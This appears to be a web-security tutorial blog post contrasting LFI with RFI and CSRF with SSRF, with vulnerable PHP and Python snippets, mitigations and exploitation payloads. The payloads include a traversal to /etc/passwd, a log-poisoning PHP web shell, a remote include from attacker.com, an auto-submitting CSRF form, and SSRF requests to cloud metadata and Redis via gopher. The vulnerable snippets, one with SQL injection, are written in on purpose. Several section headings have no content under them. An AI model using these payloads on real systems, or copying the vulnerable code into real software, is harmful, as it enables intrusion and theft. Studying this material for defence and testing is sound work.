LFI vs RFI and CSRF vs SSRF (Practical Guide)

πŸ“… Published 2026-04-25 Β·web-securitybug-bountyattack-techniquespentesting

Written by Aryan Giri


Part 1: LFI vs RFI

🧠 Why It Occurs (Vulnerable Code)

LFI Vulnerable PHP Code

<?php
$file = $_GET['page'];
include($file);
?>

πŸ‘‰ User controls file path β†’ no validation β†’ arbitrary file inclusion

RFI Vulnerable PHP Code

<?php
$file = $_GET['page'];
include($file);
?>

(with allow_url_include=On)

πŸ‘‰ Same code, but now accepts remote URLs β†’ instant RCE


πŸ›‘οΈ Mitigation

LFI/RFI Fixes

$allowed = ['home','about'];
if(in_array($_GET['page'], $allowed)) {
  include($_GET['page'] . '.php');
}
allow_url_include = Off

πŸ”₯ The Vuln

LFI (Local File Inclusion)

Application includes files from local server filesystem.

RFI (Remote File Inclusion)

Application includes files from external URLs.


🧠 Core Difference

Type Source Risk
LFI Local files Info leak β†’ RCE (with chaining)
RFI Remote files Direct RCE

πŸ’£ LFI Exploitation

Basic Payload

?page=../../../../etc/passwd

Advanced Payloads

Log Poisoning β†’ RCE

User-Agent: <?php system($_GET['cmd']); ?>

Then:

?page=/var/log/apache2/access.log&cmd=id

PHP Wrapper

?page=php://filter/convert.base64-encode/resource=index.php

/proc/self/environ

?page=/proc/self/environ

⚑ RFI Exploitation

Payload

?page=http://attacker.com/shell.txt

Malicious File

<?php system($_GET['cmd']); ?>

πŸ’₯ Impact


❌ When It Fails


Part 2: CSRF vs SSRF

🧠 Why It Occurs (Vulnerable Code)

CSRF Vulnerable Backend (No Token)

<?php
// change-password.php
session_start();
$new = $_POST['password'];
$user = $_SESSION['user'];

mysqli_query($conn, "UPDATE users SET password='$new' WHERE username='$user'");
?>

πŸ‘‰ No CSRF token β†’ browser auto-sends cookies β†’ attacker forces request

SSRF Vulnerable Code

import requests
url = request.GET['url']
requests.get(url)

πŸ‘‰ User controls URL β†’ server makes request blindly


πŸ›‘οΈ Mitigation

CSRF Fixes

SameSite=Strict

SSRF Fixes



πŸ”₯ The Vuln

CSRF (Cross-Site Request Forgery)

Forces a victim’s browser to send authenticated requests.

SSRF (Server-Side Request Forgery)

Forces server to make requests on behalf of attacker.


🧠 Core Difference

Type Who sends request Target
CSRF Victim browser Web app
SSRF Server Internal services

πŸ’£ CSRF Exploitation

Example

<form action="https://victim.com/change-password" method="POST">
<input type="hidden" name="password" value="hacked123">
</form>
<script>document.forms[0].submit()</script>

Requirements


⚑ SSRF Exploitation

Basic Payload

http://127.0.0.1

Cloud Metadata

http://169.254.169.254/latest/meta-data/

Gopher (Redis example)

gopher://127.0.0.1:6379/_*1\r\n$4\r\nINFO\r\n

πŸ’₯ Impact

CSRF

SSRF


🧠 Why They Exist

CSRF

SSRF


❌ When It Fails

CSRF

SSRF


βš”οΈ Real-World Chains


🧠 2026 Insight